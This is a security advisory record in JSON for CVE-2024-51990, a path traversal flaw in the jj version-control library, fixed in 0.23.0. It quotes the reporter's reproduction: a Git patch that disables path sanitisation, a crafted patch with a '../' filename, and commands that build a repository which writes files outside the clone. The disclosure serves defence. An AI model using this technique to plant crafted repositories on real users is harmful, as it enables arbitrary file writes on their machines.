CVE-2024-51990: Jj lib Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-88h5-6w7m-5w56",
  "modified" : "2024-11-07T16:18:44Z",
  "published" : "2024-11-07T16:18:44Z",
  "aliases" : [ "CVE-2024-51990" ],
  "summary" : "jj vulnerable to path traversal via crafted Git repositories",
  "details" : "### Impact\n\nSpecially crafted Git repositories can cause `jj` to write files outside the clone.\n\n### Patches\n\nFixed in 0.23.0.\n\n### Workarounds\n\nNot much other than to not clone repositories from untrusted sources.\n\n### References\n\nHere's the original report from @joernchen:\n\n> When cloning a crafted Git repository it is possible to let `jj` write\n> into arbitrary directories. This can be achieved by having file objects\n> which contain path traversals.\n> \n> Reproduction steps:\n> \n> Apply the following patch to Git version v.2.47.0:\n> \n> ```diff\n> diff --git a/path.c b/path.c\n> index 93491bab14..2f47e69fd1 100644\n> --- a/path.c\n> +++ b/path.c\n> @@ -44,11 +44,11 @@ struct strbuf *get_pathname(void)\n> \n>  static const char *cleanup_path(const char *path)\n>  {\n> -       /* Clean it up */\n> +       /* Clean it up\n>         if (skip_prefix(path, \"./\", &path)) {\n>                 while (*path == '/')\n>                         path++;\n> -       }\n> +       }*/\n>         return path;\n>  }\n> \n> @@ -1101,7 +1101,9 @@ int normalize_path_copy_len(char *dst, const char *src, int *prefix_len)\n> \n>  int normalize_path_copy(char *dst, const char *src)\n>  {\n> -       return normalize_path_copy_len(dst, src, NULL);\n> +//     return normalize_path_copy_len(dst, src, NULL);\n> +       memcpy(dst, src, strlen(dst));\n> +       return 0;\n>  }\n> \n>  int strbuf_normalize_path(struct strbuf *src)\n> diff --git a/read-cache.c b/read-cache.c\n> index 3c078afadb..2eb44cb26f 100644\n> --- a/read-cache.c\n> +++ b/read-cache.c\n> @@ -977,6 +977,7 @@ static enum verify_path_result verify_path_internal(const char *path,\n>                                                     unsigned mode)\n>  {\n>         char c = 0;\n> +       return PATH_OK;\n> \n>         if (has_dos_drive_prefix(path))\n>                 return PATH_INVALID;\n> ```\n> \n> With this patched `git` binary we can now apply a crafted\n> patch containing a path traversal to a repository.\n> \n> The patch would look like:\n> \n> ```patch\n> From ecea96264bd3f9785e5ebec8640be4847ba28e22 Mon Sep 17 00:00:00 2001\n> From: joernchen <[joernchen@phenoelit.de](mailto:joernchen@phenoelit.de)>\n> Date: Sun, 13 Oct 2024 18:09:50 +0200\n> Subject: [PATCH] z123\n> \n> ---\n>  z | 0\n>  1 file changed, 0 insertions(+), 0 deletions(-)\n>  create mode 100644 z\n> \n> diff --git a/../joernchen_was_here b/../joernchen_was_here\n> new file mode 100644\n> index 0000000..e69de29\n> --\n> 2.46.1\n> ```\n> \n> Note the traversal `../joernchen_was_here` in the patch. This now can be committed to a repository\n> using the modified `git` binary:\n> \n> ```bash\n> mkdir demo\n> cd demo\n> git init\n> ./path/to/modified/git/git --exec-path=./path/to/modified/git am the_traversal.patch\n> rm ../joernchen_was_here # remove the file the modified git wrote\n> ```\n> \n> Now, when cloning that repository with `jj git clone` the path traversal will write above the worktree\n> directory, allowing arbitrary file writes.\n> \n> I've attached a tar.gz with the demo repo so you don't have to mess with the patched Git at all. For\n> reproduction it should be sufficient to do `jj git clone demo.git` after unpacking the tarball.\n> \n> The demo repository after being cloned with `jj` will create an empty file `joernchen_was_here` right next\n> to the `demo` directory to demonstrate the traversal.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:H/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "crates.io",
      "name" : "jj-lib"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.23.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/martinvonz/jj/security/advisories/GHSA-88h5-6w7m-5w56"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-51990"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/martinvonz/jj"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2024-11-07T16:18:44Z",
    "nvd_published_at" : "2024-11-07T01:15:03Z"
  }
}